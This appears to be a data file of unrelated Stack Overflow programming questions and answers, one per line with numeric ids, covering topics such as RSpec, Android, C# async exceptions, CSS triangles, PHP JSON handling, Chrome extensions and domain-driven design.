11572205	0	Attribute not accessible via Rspec <p>Models:</p> <pre><code>class User &lt; ActiveRecord:Base has_many :roles has_many :networks, :through =&gt; :roles end class Network &lt; ActiveRecord:Base has_many :roles has_many :network, :through =&gt; :roles end class Role &lt; ActiveRecord:Base attr_accesible :user_id, :network_id, :position belongs_to :user belongs_to :network end </code></pre> <p>The default for role is "member"</p> <p>In the console I can type:</p> <pre><code>&gt; @role = Role.find(1) &gt; @role.position =&gt; "member" </code></pre> <p>But in my Rspec tests, I use FactoryGirl to create a user, network, and role. And I have the test <code>@role.should respond_to(:position)</code> I have also tried just assigning it <code>@role.position = "admin"</code>. And no matter what, I get an error like:</p> <pre><code>Failure/Error: @role.should respond_to(:position) expected [#&lt;Role id:1, user_id: 1, position: "member", created_at...updated_at...&gt;] to respond to :position </code></pre> <p>Am I missing something very basic?</p> <p>EDIT:</p> <p>factories.rb</p> <pre><code>FactoryGirl.define do factory :user do name "Example User" sequence(:email) {|n| "email#{n}@program.com"} end factory :network do sequence(:name) {|n| "Example Network #{n}"} location "Anywhere, USA" description "Lorem Ipsum" end factory :role do association :user association :network position "member" end end </code></pre> <p>network_controller_spec</p> <pre><code>... before(:each) do @user = test_sign_in(FactoryGirl.create(:user) @network = FactoryGirl.create(:network) @role = FactoryGirl.create(:role, :user_id =&gt; @user.id, :network_id = @network.id) #I have also tried without using (_id) I have tried not setting the position in the factories as well. end it "should respond to position" do get :show, :id =&gt; @network # This may not be the best or even correct way to find this. But there should only be one, and this method works in the console. @role = Role.where(:user_id =&gt; @user.id, :network_id =&gt; @network.id) @role.should respond_to(:position) end </code></pre>
23324249	0	 <p>I found this solution that works for me</p> <p>map.addMarker(markerIndex, {coords: [(e.offsetX / map.scale) - map.transX, (e.offsetY / map.scale) - map.transY]});</p> <p>No matter if zooming in or not, the positioning is compensated.</p> <p>Lorenzo</p>
6948643	0	Curious about the implementation of Control.Invoke() <p>What exactly does Control.Invoke(Delegate) do to get the delegate to run on the GUI thread? Furthermore, Its my understanding that invoke will block until the invoked function its done. How does it achieve this?</p> <p>I would like some good gritty details. I'm hoping to learn something interesting.</p>
22238011	0	 <p>You should set the new image to the <code>ImageView</code> like this:</p> <pre><code>imagem = (ImageView)findViewById(R.id.imageBody); imagem.setImageResource(R.drawable.my_image); </code></pre> <p>Also note that method <code>rgsexo.getCheckedRadioButtonId()</code> doesn't give you an id from R class, but the id you need to set to the button via <code>setId(int id)</code> method before, i.e. in xml layout file. Maybe it's better to differ your two buttons in group via index as follows:</p> <pre><code>int radioButtonID = radioButtonGroup.getCheckedRadioButtonId(); View radioButton = radioButtonGroup.findViewById(radioButtonID); int idx = radioButtonGroup.indexOfChild(radioButton); </code></pre> <p>So the whole method would be:</p> <pre><code>private String interpretIMC(float imcValue) { imagem = (ImageView)findViewById(R.id.imageBody); rgsexo = (RadioGroup)findViewById(R.id.rgSexo); int selectedId = rgsexo.getCheckedRadioButtonId(); // get the id View radioButton = radioButtonGroup.findViewById(radioButtonID); int idx = radioButtonGroup.indexOfChild(radioButton); switch (idx) // switch on the button selected { case 0: if (imcValue &lt; 20) { imagem.setImageResource(R.drawable.slim); return "Abaixo do Peso"; } else if (imcValue &lt; 24.9) { imagem.setImageResource(R.drawable.normal); return "Peso Normal"; } else if (imcValue &lt; 29.9) { imagem.setImageResource(R.drawable.fat); return "Acima do Peso"; } else if (imcValue &lt; 39.9) { imagem.setImageResource(R.drawable.fat); return "Obesidade Moderada"; } else { imagem.setImageResource(R.drawable.fat); return "Obesidade Mórbida"; } break; case 1: if (imcValue &lt; 19) { return "Abaixo do Peso"; } else if (imcValue &lt; 23.9) { return "Peso Normal"; } else if (imcValue &lt; 28.9) { return "Acima do Peso"; } else if (imcValue &lt; 38.9) { return "Obesidade Moderada"; } else { return "Obesidade Mórbida"; } break; } } </code></pre>
40188059	0	 <p>This is due to Anaconda's virtual environments'. The "Root" kernel that you see is from Anaconda's environment that is created upon installation. In order to install other kernels for various versions of python see <a href="http://ipython.readthedocs.io/en/stable/install/kernel_install.html" rel="nofollow">http://ipython.readthedocs.io/en/stable/install/kernel_install.html</a>.</p>
13219164	0	changing a typed dataset field type <p>I have a project, within which I have two classes, one is an enumeration, that descends from Byte.This class is called Status. The other class , is a TypedDataSet. It is in the same namespace of the enumeration class. I try to change the type of one field of this typed dataset, that by now is Byte, to Status. But I get the following error from VIsual Studio( 2008):" Field type changing Column requires a valid DataType". I have done this operation in other project, so I don't understand this error, besides Status enumeration members are byte too.. this is the code: @Hogan. Here is the enumeration Status:</p> <pre><code>namespace LinQToDataset { public enum Status : byte { Created, Accepted, Fixed, Reopened, Closed, } } </code></pre> <p>And here is the field of the typed dataset whose type I want to change to Status(instead of byte). The field is called Status as well: </p> <pre><code>[global::System.Diagnostics.DebuggerNonUserCodeAttribute()] public byte Status { get { return ((byte)[this.tableDefect.StatusColumn])); } set { this[this.tableDefect.StatusColumn] = value; } } </code></pre> <p>an anyone help me please?</p>
16340714	0	Wordpress Plugin for Soundcloud giving "Track currently not available" <p>So I am using wordpress to build a website with the soundcloud plugin. The shortcode for 3 out of 4 songs is working fine but the fourth just shows up as "Track currently not available". The track is playable on soundcloud just fine.</p> <p>Here is the webpage where its happening:</p> <p><a href="http://lostintheholler.com/epk/?page_id=13" rel="nofollow">http://lostintheholler.com/epk/?page_id=13</a></p> <p>and here is the track on soundcloud:</p> <p><a href="https://soundcloud.com/lostintheholler/07-take-it-and-go" rel="nofollow">https://soundcloud.com/lostintheholler/07-take-it-and-go</a></p> <p>The wordpress embed code from soundcloud works fine too but it doesn't have the look you get from using the plugin. </p> <p>Thanks!</p>
17059858	0	 <p>The active selector doesn't work with in page jump anchors, only with external anchors. With in page jump anchors, active selector will apply style to all in page anchors. It will work with external links, for example when you have a webpage with a menu apering on every page, active selector can be used to evidentiate in the menu the page you are currently on.</p> <p>In your case, you can try to use focus selector instead.</p>
21091313	0	 <p>The specific addresses returned by malloc are selected by the implementation and not always optimal for the using code. You already know that the speed of moving memory around depends greatly on cache and page effects.</p> <p>Here, the specific pointers malloced are not known. You could print them out using <code>printf("%p", ptr)</code>. What is known however, is that using just one malloc for two blocks surely avoids page and cache waste between the two blocks. That may already be the reason for the speed difference.</p>
39281702	0	 <p>Anand S Kumar's answer doesn't round to the nearest quarter hour, it cuts off the minutes to the nearest 15 minutes below it. </p> <p>Actually, in your example <code>2015-07-18 13:53:33.280</code> should round to <code>2015-07-18 14:00:00.000</code> since <code>53:33.280</code> is closer to 60 minutes than 45 minutes.</p> <p>I found an more robust answer for rounding in <a href="http://stackoverflow.com/questions/3463930/how-to-round-the-minute-of-a-datetime-object-python">this post</a>.</p> <p>For your situation this should work:</p> <pre><code>import datetime def round_time(time, round_to): """roundTo is the number of minutes to round to""" rounded = time + datetime.timedelta(minutes=round_to/2.) rounded -= datetime.timedelta(minutes=rounded.minute % round_to, seconds=rounded.second, microseconds=rounded.microsecond) return rounded dt['dtcolumn'] = df['dtcolumn'].apply(lambda x: round_time(x)) </code></pre>
14404991	0	 <p>It is only with borders. When you see arrows like this, the developer most likely used pseudo elements to create them. Basically what happens is you create a transparent box without content, and since there is nothing there, all you see is the one corner of the border. This conveniently looks just like an arrow.</p> <p>How to do it:</p> <pre><code>.foo:before { content: ' '; height: 0; position: absolute; width: 0; border: 10px solid transparent; border-left-color: #333; } </code></pre> <p><a href="http://jsfiddle.net/fGSZx/">http://jsfiddle.net/fGSZx/</a></p> <p>Here are some resources to help:</p> <p><a href="http://css-tricks.com/snippets/css/css-triangle/">CSS Triangle from CSS-Tricks</a> (this should clear everything up)</p> <p><a href="http://coding.smashingmagazine.com/2011/07/13/learning-to-use-the-before-and-after-pseudo-elements-in-css/">Smashing Mag article about :before and :after</a></p>
20643311	0	 <p>You can use the <code>collect_max</code> UDF from Brickhouse ( <a href="http://github.com/klout/brickhouse" rel="nofollow">http://github.com/klout/brickhouse</a> ) to solve this problem, passing in a value of 1, meaning that you only want the single max value.</p> <pre><code>select array_index( map_keys( collect_max( carrier_id, meandelay, 1) ), 0 ) from flightinfo; </code></pre> <p>Also, I've read somewhere that the Hive <code>max</code> UDF does allow you to access other fields on the row, but I think its easier just to use <code>collect_max</code>.</p>
7340309	0	Throw Exception inside a Task - "await" vs Wait() <pre><code>static async void Main(string[] args) { Task t = new Task(() =&gt; { throw new Exception(); }); try { t.Start(); t.Wait(); } catch (AggregateException e) { // When waiting on the task, an AggregateException is thrown. } try { t.Start(); await t; } catch (Exception e) { // When awating on the task, the exception itself is thrown. // in this case a regular Exception. } } </code></pre> <p>In TPL, When throwing an exception inside a Task, it's wrapped with an AggregateException.<br> But the same is not happening when using the <strong>await</strong> keyword.<br> What is the explanation for that behavior ?</p>
16391288	0	 <p>As the compiler is trying to tell you, you can't use <code>==</code> to compare a string with a character. The <code>==</code> operator works differently for primitives (such as a <code>char</code>) and reference types (such as a <code>String</code>) so conditions like <code>if(encrypt == 'U')</code> are nonsensical.</p>
35875343	0	How to make method that turns number grades into letter grades in Java <p>I am trying to write a method in Java that turns number grades into letter grades, but there is an error with the returns that I do not understand why. Any input would be appreciated.</p> <pre><code>import java.util.*; import static java.lang.System.out; public class Lab26 { public static void main(String[] args) { } public static String letterGrade(double grade) { String a = "A"; String b = "B"; String c = "C"; String d = "D"; String f = "F"; if (grade &lt;= 100 &amp;&amp; grade &gt;= 90) { return a; } else if (grade &lt; 90 &amp;&amp; grade &gt;= 80) { return b; } else if (grade &lt; 80 &amp;&amp; grade &gt;= 70) { return c; } else if (grade &lt; 70 &amp;&amp; grade &gt;= 60) { return d; } else if (grade &lt; 60) { return f; } } } </code></pre>
18677388	0	 <p>Try using a content script, injected into the web page, instead of a background script. Use this in your manifest.json:</p> <pre><code>"content_scripts" : [{ "js" : ["myScript.js"] }] "permissions": [ "tabs", "http://*/*", "https://*/*" ] </code></pre> <p>However, chrome extensions are sandboxed from other scripts in the page. However, you do have access to the DOM and you can inject your own tags. So, create a new <code>&lt;script&gt;</code> tag and append it to the DOM, and the new script (script.js) it references can include the event listeners you want.</p> <p>background.js:</p> <pre><code>chrome.runtime.onConnect.addListener(function(port) { port.onMessage.addListener(function(msg) { enableEXT = msg.enableEXT; }); }); chrome.webRequest.onHeadersReceived.addListener(function(details) { for (var i = 0; i &lt; details.responseHeaders.length; ++i) { if (details.responseHeaders[i].name.toLowerCase() == 'content-type' &amp;&amp; !enableEXT) details.responseHeaders[i].value = 'application/xyz'; } return {responseHeaders: details.responseHeaders}; }, {urls: ["&lt;all_urls&gt;"]}, ['blocking', 'responseHeaders']); </code></pre> <p>myScript.js:</p> <pre><code>//to inject into the page var s = document.createElement('script'); s.src = chrome.extension.getURL("script.js"); s.onload = function() { this.parentNode.removeChild(this); }; (document.head||document.documentElement).appendChild(s); //to communicate with our background var port = chrome.runtime.connect(); window.addEventListener("message", function(event) { // We only accept messages from ourselves if (event.source != window) return; if (event.data.type &amp;&amp; (event.data.type == "FROM_PAGE")) { port.postMessage(event.data); } }, false); </code></pre> <p>script.js:</p> <pre><code>window.onkeydown = function() { if (event.keyCode == 70) window.postMessage({ enableEXT: true, "*"); }; window.onkeyup = function() { window.postMessage({ enableEXT: false, "*"); }; </code></pre> <p>To communicate between your injected code, your content script, and your background page is a very awkward situation, but can be dealt with, with all the postMessage APIs...</p>
31597500	0	Update some json items in existing file <p>i'm trying to do a simple script to manipulate some json, so i decode the json file , create a foreach to make some ifs looking for information with live games, live.json file:</p> <pre><code>{ Match: [ { Id: "348324", Date: "2015-07-19T21:30:00+00:00", League: "Brasileirao", Round: "14", HomeTeam: "Joinville", HomeTeam_Id: "1208", HomeGoals: "1", AwayTeam: "Ponte Preta", AwayTeam_Id: "745", AwayGoals: "1", Time: "67", Location: "Arena Joinville", HomeTeamYellowCardDetails: { }, AwayTeamYellowCardDetails: { }, HomeTeamRedCardDetails: { }, AwayTeamRedCardDetails: { } }, { Id: "348319", Date: "2015-07-19T21:30:00+00:00", League: "Brasileirao", Round: "14", HomeTeam: "Cruzeiro", HomeTeam_Id: "749", HomeGoals: "1", AwayTeam: "Avai FC", AwayTeam_Id: "1203", AwayGoals: "1", Time: "Finished", Location: "Mineirão", HomeTeamYellowCardDetails: { }, AwayTeamYellowCardDetails: { }, HomeTeamRedCardDetails: { }, AwayTeamRedCardDetails: { } } </code></pre> <p>Check the comments in the code i specify what i want in each part.</p> <pre><code> &lt;?php $json_url = "http://domain.com/live.json"; // the file comes with live games $json = file_get_contents($json_url); $links = json_decode($json, TRUE); foreach($links["Match"] as $key=&gt;$val) { if($val['Id'] == "live games id") // i want to live.json games ids match with the games with the same id in file.json // i only want to update the items below, and { $links["Match"][$key]['Time'] = ['Time']; // in the end i just want to get the item Time to update file.json in item time for the game with the same id $links["Match"][$key]['HomeGoals'] = ['HomeGoals']; // similar to what i want with Time $links["Match"][$key]['AwayGoals'] = ['AwayGoals']; } } $fp = fopen( "file.json","w+"); // this file have the list of all games including the ones that came from live.json, the structure are exactly the same. fwrite($fp,json_encode($links)); fclose($fp); ?&gt; </code></pre> <p>The content of new file.json</p> <pre><code>{ Match: [ { Id: "348324", Date: "2015-07-19T21:30:00+00:00", League: "Brasileirao", Round: "14", HomeTeam: "Joinville", HomeTeam_Id: "1208", HomeGoals: "1", AwayTeam: "Ponte Preta", AwayTeam_Id: "745", AwayGoals: "1", Time: "69", Location: "Arena Joinville", HomeTeamYellowCardDetails: { }, AwayTeamYellowCardDetails: { }, HomeTeamRedCardDetails: { }, AwayTeamRedCardDetails: { } }, { Id: "348319", Date: "2015-07-19T21:30:00+00:00", League: "Brasileirao", Round: "14", HomeTeam: "Cruzeiro", HomeTeam_Id: "749", HomeGoals: "1", AwayTeam: "Avai FC", AwayTeam_Id: "1203", AwayGoals: "1", Time: "Finished", Location: "Mineirão", HomeTeamYellowCardDetails: { }, AwayTeamYellowCardDetails: { }, HomeTeamRedCardDetails: { }, AwayTeamRedCardDetails: { } } </code></pre> <p>Somebody can help ? What is the best approach to do this ?</p>
13039570	0	onmouseover transition effect without jQuery <p>I use onmouseover for hover effects of the main site logo on my dev site <a href="http://www.new.ianroyal.co" rel="nofollow">http://www.new.ianroyal.co</a>. </p> <p>onmouseover changes the site logo image instantaneously, I was wondering if I could apply a transition effect (fade in, or just generally slow down the transition speed) without using jQuery. </p> <p>Here is my code</p> <blockquote> <blockquote> <blockquote> <blockquote> <p><code>&lt;a href="&lt;?php echo esc_url( home_url( '/' ) ); ?&gt;" ONMOUSEOVER='ian.src="http://new.ianroyal.co/wp-content/themes/twentytwelve/images/IN-Logo.png" '<br> ONMOUSEOUT='ian.src="http://new.ianroyal.co/wp-content/themes/twentytwelve/images/IN-Logo1.png" '&gt;&lt;img src="http://new.ianroyal.co/wp-content/themes/twentytwelve/images/IN-Logo1.png" NAME="ian" class="header-image" alt="Ian Nelson"/&gt;&lt;/a&gt;</code></p> </blockquote> </blockquote> </blockquote> </blockquote> <p>I've searched and searched but it seems the only solultions are with jQuery which I don't have a good enough grasp of yet. </p> <p>Thank you</p>
27265129	0	 <blockquote> <pre><code>can't instantiate class com.example.mealplan.MainActivity </code></pre> </blockquote> <p>Abstract classes cannot be instantiated. Remove the <code>abstract</code> from your class declaration.</p>
3734371	0	How to avoid cyclic behaviour with Castle Windsor's CollectionResolver? <p>I am using Castle Windsor 2.5 in my application. I have a service which is a composite that acts as a distributor for objects that implement the same interface.</p> <pre><code>public interface IService { void DoStuff(string someArg); } public class ConcreteService1 : IService { public void DoStuff(string someArg) { } } public class ConcreteService2 : IService { public void DoStuff(string someArg) { } } public class CompositeService : List&lt;IService&gt;, IService { private readonly IService[] decoratedServices; CompositeService(params IService[] decoratedServices) { this.decoratedServices = decoratedServices; } public void DoStuff(string someArg) { foreach (var service in decoratedServices) { service.DoStuff(someArg); } } } </code></pre> <p>The problem I have is that using config such as that shown below causes Windsor to report that "A cycle was detected when trying to resolve a dependency."</p> <pre><code>windsor.Register( Component .For&lt;IService&gt;() .ImplementedBy&lt;CompositeService&gt;(), Component .For&lt;IService&gt;() .ImplementedBy&lt;ConcreteService1&gt;(), Component .For&lt;IService&gt;() .ImplementedBy&lt;ConcreteService2&gt;() ); </code></pre> <p>This cyclic behaviour seems to be at odds with the standard (non-collection based) behaviour that can be used to implenent the decorator pattern, where the component being resolved is ignored and the next registered component that implements the same interface is used instead.</p> <p>So what I'd like to know is whether or not there is a way to make Windsor exclude the <code>CompositeService</code> component when it's resolving the <code>IService</code> services for the <code>decoratedServices</code> property. The <code>decoratedServices</code> property should contain two items: an instance of <code>ConcreteService1</code>, and an instance of <code>ConcreteService2</code>. I'd like to do this without explicitly specifying the dependencies.</p>
9234566	0	 <p>Use <code>'body'</code> instead of <code>page</code>. <code>page</code> is not a defined variable.</p> <pre><code>$(document).ready(function() { var Side = $('body').text(); alert( Side ); }); </code></pre> <p>Other options are <code>document</code> or <code>html</code>, but these would also include non-body text, such as the contents of the <code>&lt;title&gt;</code> tags.</p> <p>If you want to strip out the JavaScript, you can use:</p> <pre><code>var Side = $('body').clone(); Side.find('script').remove(); // Remove &lt;script&gt; elements, etc. Side = Side.text(); </code></pre> <p>If you really want to strip all invisible items, use:</p> <pre><code>Side.find(':hidden').remove(); // instead of the second line </code></pre>
18490825	0	 <p>Yes, you can just use <code>+-</code> operators if you want to add or subtract two numbers.</p> <p>If you want to truncate the result back to 16 bits, just assign the result to a 16 bit wire/register, and it will automatically drop the upper bits and just assign the lower 16 bits to <code>out</code>. In some cases this may create a lint warning, so you may want to assign the result to an intermediate variable first, and then do an explicit part select.</p> <pre><code>wire [15:0] out; wire [15:0] A; wire [31:0] A_rotate; A_rotate = {A,A} &lt;&lt; N; out = A_rotate[15:0]; </code></pre>
21231328	0	keeping control with the same handle between form loads <p>I got a form with a control i draw on with another application. The other application loads to slow to start it each time i show my window. So i load the secondary application in advance. I use a control handle as argument, telling the application wich handle to draw on. This works fine the first time. When i close my dialog (clicking the ok button, setting the dialog result to ok) and open it again, the control handle changed.</p> <p>How can i keep my control handle the same between two loads of the dialog?</p> <pre><code>public partial class ListForm : Form { FilterDialog filterDialog; public ListForm() { InitializeComponent(); filterDialog = new FilterDialog(); //this is where i load my second form, wich i draw in } </code></pre> <p>the Dialog i draw in</p> <pre><code>public FilterDialog() { InitializeComponent(); string applicationlocation = @"..."; //set the argument string hexvalue = btnImage.Handle.ToInt32().ToString("X8"); process.StartInfo.Arguments = "0x" + hexvalue; process.StartInfo.FileName = applicationlocation; process.StartInfo.UseShellExecute = false; process.Start(); } private void FilterDialog_Load(object sender, EventArgs e) { if (this.filter != string.Empty) txtFilter.Text = filter; } </code></pre>
15837751	0	 <blockquote> <p>Can an aggregates invariant include a rule based on information from elsewhere?</p> </blockquote> <p>Aggregates can always use the informations in their own states and the argument that their <a href="http://epic.tesio.it/doc/manual/command_query_separation.html" rel="nofollow">commands</a> recieves.</p> <p>Someone use to access applicative services via singletons, service locators and so on, but IMO, that's a smell of tightly coupled applications. They forget that methods' arguments are effective dependency injectors! :-)</p> <blockquote> <p>In DDD can an aggregates invariant include a rule based on information in a another aggregate?</p> </blockquote> <p>No.<br> Except if the second aggregate is provided via commands' arguments, of course. </p> <p><strong>WARNING ! ! !</strong></p> <blockquote> <p>I have an entity called Asset (equipment)...<br> ... (and a) second aggregate called AssetType...</p> </blockquote> <p>The last time that I had to cope with a similar structure, it was a pain.</p> <p>Chances are that you are choosing the wrong abstractions.</p> <blockquote> <p>have I got my invariant wrong?</p> </blockquote> <p>Probably... Did you asked to the <strong>domain expert</strong>? Does <strong>he</strong> talks about "TagTypes"?</p> <p><a href="http://epic.tesio.it/doc/manual/solid_principles.html#about_liskov_substitution" rel="nofollow">You should never abstract on your own</a>.</p> <p>Entities of type <code>X</code> holding a reference to an instance of an <code>X-Type</code> are almost always a smell of over-abstraction, that in the hope of reuse, makes the model rigid and inflexible to business evolution.</p> <p><strong>ANSWER</strong></p> <p>If <em>(and only if)</em> the domain expert actually described the model in these terms, a possible approach is the following:</p> <ol> <li>you can create an <code>AssetType</code> class with a factory method that turns an <code>IEnumerable&lt;Tag&gt;</code> into a <code>TagSet</code> <a href="http://epic.tesio.it/2013/03/04/exceptions-are-terms-ot-the-ubiquitous-language.html" rel="nofollow">and throws</a> either <code>MissingMandatoryTagException</code> or <code>UnexpectedTagException</code> if some of the tag is missing or unexpected. </li> <li>in the <code>Asset</code> class, a command <code>RegisterTags</code> would accept an <code>AssetType</code> and an <code>IEnumerable&lt;Tag&gt;</code>, throwing the <code>MissingMandatoryTagException</code> and <code>WrongAssetTypeException</code> (note how important are exceptions to ensure invariants).</li> </ol> <p><strong>edit</strong><br> something like this, but much more documented:</p> <pre class="lang-cs prettyprint-override"><code>public class AssetType { private readonly Dictionary&lt;TagType, bool&gt; _tagTypes = new Dictionary&lt;TagType, bool&gt;(); public AssetType(AssetTypeName name) { // validation here... Name = name; } /// &lt;summary&gt; /// Enable a tag type to be assigned to asset of this type. /// &lt;/summary&gt; /// &lt;param name="type"&gt;&lt;/param&gt; public void EnableTagType(TagType type) { // validation here... _tagTypes[type] = false; } /// &lt;summary&gt; /// Requires that a tag type is defined for any asset of this type. /// &lt;/summary&gt; /// &lt;param name="type"&gt;&lt;/param&gt; public void RequireTagType(TagType type) { // validation here... _tagTypes[type] = false; } public AssetTypeName Name { get; private set; } /// &lt;summary&gt; /// Builds the tag set. /// &lt;/summary&gt; /// &lt;param name="tags"&gt;The tags.&lt;/param&gt; /// &lt;returns&gt;A set of tags for the current asset type.&lt;/returns&gt; /// &lt;exception cref="ArgumentNullException"&gt;&lt;paramref name="tags"/&gt; is &lt;c&gt;null&lt;/c&gt; or empty.&lt;/exception&gt; /// &lt;exception cref="MissingMandatoryTagException"&gt;At least one of tags required /// by the current asset type is missing in &lt;paramref name="tags"/&gt;.&lt;/exception&gt; /// &lt;exception cref="UnexpectedTagException"&gt;At least one of the &lt;paramref name="tags"/&gt; /// is not allowed for the current asset type.&lt;/exception&gt; /// &lt;seealso cref="RequireTagType"/&gt; public TagSet BuildTagSet(IEnumerable&lt;Tag&gt; tags) { if (null == tags || tags.Count() == 0) throw new ArgumentNullException("tags"); TagSet tagSet = new TagSet(); foreach (Tag tag in tags) { if(!_tagTypes.ContainsKey(tag.Key)) { string message = string.Format("Cannot use tag {0} in asset type {1}.", tag.Key, Name); throw new UnexpectedTagException("tags", tag.Key, message); } tagSet.Add(tag); } foreach (TagType tagType in _tagTypes.Where(kvp =&gt; kvp.Value == true).Select(kvp =&gt; kvp.Key)) { if(!tagSet.Any(t =&gt; t.Key.Equals(tagType))) { string message = string.Format("You must provide the tag {0} to asset of type {1}.", tagType, Name); throw new MissingMandatoryTagException("tags", tagType, message); } } return tagSet; } } public class Asset { public Asset(AssetName name, AssetTypeName type) { // validation here... Name = name; Type = type; } public TagSet Tags { get; private set; } public AssetName Name { get; private set; } public AssetTypeName Type { get; private set; } /// &lt;summary&gt; /// Registers the tags. /// &lt;/summary&gt; /// &lt;param name="tagType"&gt;Type of the tag.&lt;/param&gt; /// &lt;param name="tags"&gt;The tags.&lt;/param&gt; /// &lt;exception cref="ArgumentNullException"&gt;&lt;paramref name="tagType"/&gt; is &lt;c&gt;null&lt;/c&gt; or /// &lt;paramref name="tags"/&gt; is either &lt;c&gt;null&lt;/c&gt; or empty.&lt;/exception&gt; /// &lt;exception cref="WrongAssetTypeException"&gt;&lt;paramref name="tagType"/&gt; does not match /// the &lt;see cref="Type"/&gt; of the current asset.&lt;/exception&gt; /// &lt;exception cref="MissingMandatoryTagException"&gt;At least one of tags required /// by the current asset type is missing in &lt;paramref name="tags"/&gt;.&lt;/exception&gt; /// &lt;exception cref="UnexpectedTagException"&gt;At least one of the &lt;paramref name="tags"/&gt; /// is not allowed for the current asset type.&lt;/exception&gt; public void RegisterTags(AssetType tagType, IEnumerable&lt;Tag&gt; tags) { if (null == tagType) throw new ArgumentNullException("tagType"); if (!tagType.Name.Equals(Type)) { string message = string.Format("The asset {0} has type {1}, thus it can not handle tags defined for assets of type {2}.", Name, Type, tagType.Name); throw new WrongAssetTypeException("tagType", tagType, message); } Tags = tagType.BuildTagSet(tags); } } </code></pre>
32453071	0	Nested JSON PHP decode <p>I have the following Json file </p> <pre><code>{ "username”: “userabc”, “locations”: [ { “locationId": "2123", “locationName": "Test Site", “setupDate”: "0000-00-00", “dataType”: { “book”: [ { “bookId": “1257245", “information”: “Infotag 181”, “addedDate": "0000-00-00 00:00:00" }, { “bookId": “4257245", “information”: “Infotag 11”, “addedDate": "0000-00-00 00:00:00" }, { “bookId": “2227242”, “information”: “Infotag 181”, “addedDate": "0000-00-00 00:00:00" } ], “tape”: [ { “tapeId": “1220”, “information”: “Infotag 181”, “addedDate": "0000-00-00 00:00:00" }, { “tapeId": “1320”, “information”: “Infotag 181”, “addedDate": "0000-00-00 00:00:00" } ], “record”: [ { “recordId": “a21322”, “information”: “Infotag 181”, “addedDate": "0000-00-00 00:00:00" }, { “recordId": “b213222”, “information”: “Infotag 181”, “addedDate": "0000-00-00 00:00:00" } ], "virtual": [ { “virtId": "2123", “information”: "57235", “addedDate”: "0000-00-00 00:00:00", } ] } } ] } </code></pre> <p>I'm currently trying to access the nested part of (to count the number of bookIDs). I have done the following, can print the locationName but I am unable to print the bookId, I'm not sure where I'm going wrong.</p> <pre><code>$obj = json_decode($json,true); foreach($obj['locations'] as $chunk) { $locName = $chunk['locationName']; echo $locName; } </code></pre> <p>This is the part I am having problems with, I am not able to see any results?</p> <pre><code>foreach($obj['locations']['book'] as $chunk) { $bkId = $chunk['bookId']; echo $bkId; } </code></pre>
4373138	0	Read string in Objective-C console application? <p>What is the best way to read string input from a simple Objective-C console application?</p> <p>I would just like to store the input as an NSString variable.</p> <p>I've seen multiple people post about <code>scanf</code>, <code>gets</code> and others, but they everyone seems to say that they're "unreliable", or "open to attack".</p> <p>I can see how this could be true for <code>gets</code> but I'm looking for the best possible way to do this.</p> <p>Thanks!</p>
27998642	0	Laravel assertions full list <p>PHP Laravel framework provides assertion methods like <code>-&gt;assertTrue()</code>, <code>-&gt;assertFalse()</code> for unit testing. However, I cannot find a full list of them. Are they documented somewhere? If not, where can I find them in Laravel source?</p>
29047409	0	 <p>the answer is YES and NO. it depends on the processed data dynamic range</p> <ul> <li>if you are processing numbers/signal in specified range then YES</li> <li>but if the numbers/signal has very high dynamic range then NO</li> </ul> <p>you should use more fixed point formats for different stage of signal processing</p> <ul> <li>for example ADC gives you values in exact defined range</li> <li>so you have to use fixed format such that does not loss precision and have not many unused bits</li> <li>after that you apply some filter or what ever the range changes</li> <li>so you need to get bound of possible number ranges per stage and use the best suited fixed point format you have at disposal</li> </ul> <p>This means you need some number of fixed point formats</p> <ul> <li>and also the operations between them</li> <li>you can have fixed number of bits and just change the position of decimal point...</li> </ul> <p>To be more specific then you need add the block diagram of your processing pipeline</p> <ul> <li>with the number ranges included</li> <li>and list of used operations</li> <li>matrix operations and integrals/sums are tricky because they can change the dynamic range considerably</li> </ul> <p>The real question always stays if such implementation is faster then floating point ...</p> <ul> <li>because sometimes the transition between different fixed point stages can be slower then direct floating point implementation ...</li> </ul>
29703312	0	 <p>The most seems like your binary is just not executed. Try to execute explicitly:</p> <pre><code>php vendor/bin/propel </code></pre>
7407668	0	adding unique class for new div <p>I want add a unique class for each new div after input, how is it in my code?</p> <p>Add class for this: <code>&lt;div class="thing"&gt;&lt;/div&gt;</code></p> <p><strong>DEMO:</strong> <a href="http://jsfiddle.net/wAwyR/2/" rel="nofollow">http://jsfiddle.net/wAwyR/2/</a> => please in here(field) typing a number for adding new input.</p> <pre><code>function unique() { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for (var i = 0; i &lt; 5; i++) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } $('input').live("keyup", function () { $('.lee').empty(); var $val = $(this).val(); for (var i = 0; i &lt; $val; i++) { $('.lee').append('&lt;input type="text" name="hi" class=""&gt;div class="thing"&gt;&lt;/div&gt;'); $('input[hi]').next('div').attr('class', unique()) } }); </code></pre>
36616691	0	how to use both angularJS and knockoutJS on same page <p>my application developed with AngularJS but now i'm going to implement 'Mosaico Email Template Editor' (which is developed with KnockoutJS).. so How Can i Use both Angular and Knockout On Same Page.. any one can explain with sample code.. ?? tanx in advance</p> <p>my sample code : </p> <pre><code>&lt;script type="text/javascript" src="js/core/controller/knockout.js"&gt;&lt;/script&gt; &lt;script src="dist/vendor/jquery.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="js/core/controller/controller.js"&gt;&lt;/script&gt; &lt;div data-bind="foreach: templates"&gt; &lt;div class="template template-xx" style="" data-bind="attr: { class: 'template template-'+name }"&gt; &lt;div class="description" style="padding-bottom:5px"&gt;&lt;b data-bind="text: name"&gt;xx&lt;/b&gt;: &lt;span data-bind="text: desc"&gt;xx&lt;/span&gt;&lt;/div&gt; &lt;a href="#" data-bind="click: $root.newEdit.bind(undefined, name), attr: { href: 'editor.html#templates/'+name+'/template-'+name+'.html' }"&gt; &lt;img src="/images/full.png" width="100%" alt="xx" data-bind="attr: { src: 'templates/'+name+'/edres/_full.png' }"&gt; &lt;/a&gt; &lt;/div&gt; &lt;/div&gt; *[and JS file below - controller.js][1]* var viewModel = { templates: [ { name: 'versafix-1', desc: 'The versatile template' }, { name: 'tedc15', desc: 'The TEDC15 template' } ] }; document.addEventListener('DOMContentLoaded',function(){ ko.applyBindings(viewModel); }); </code></pre> <p>First two image - what i expect but i get now right side one...i think knockout binding not working properly in my page:</p> <p><img src="https://i.stack.imgur.com/tojhW.png" alt="First two image - what i expect but i get now right side one...i think knockout binding not working properly in my page"></p>
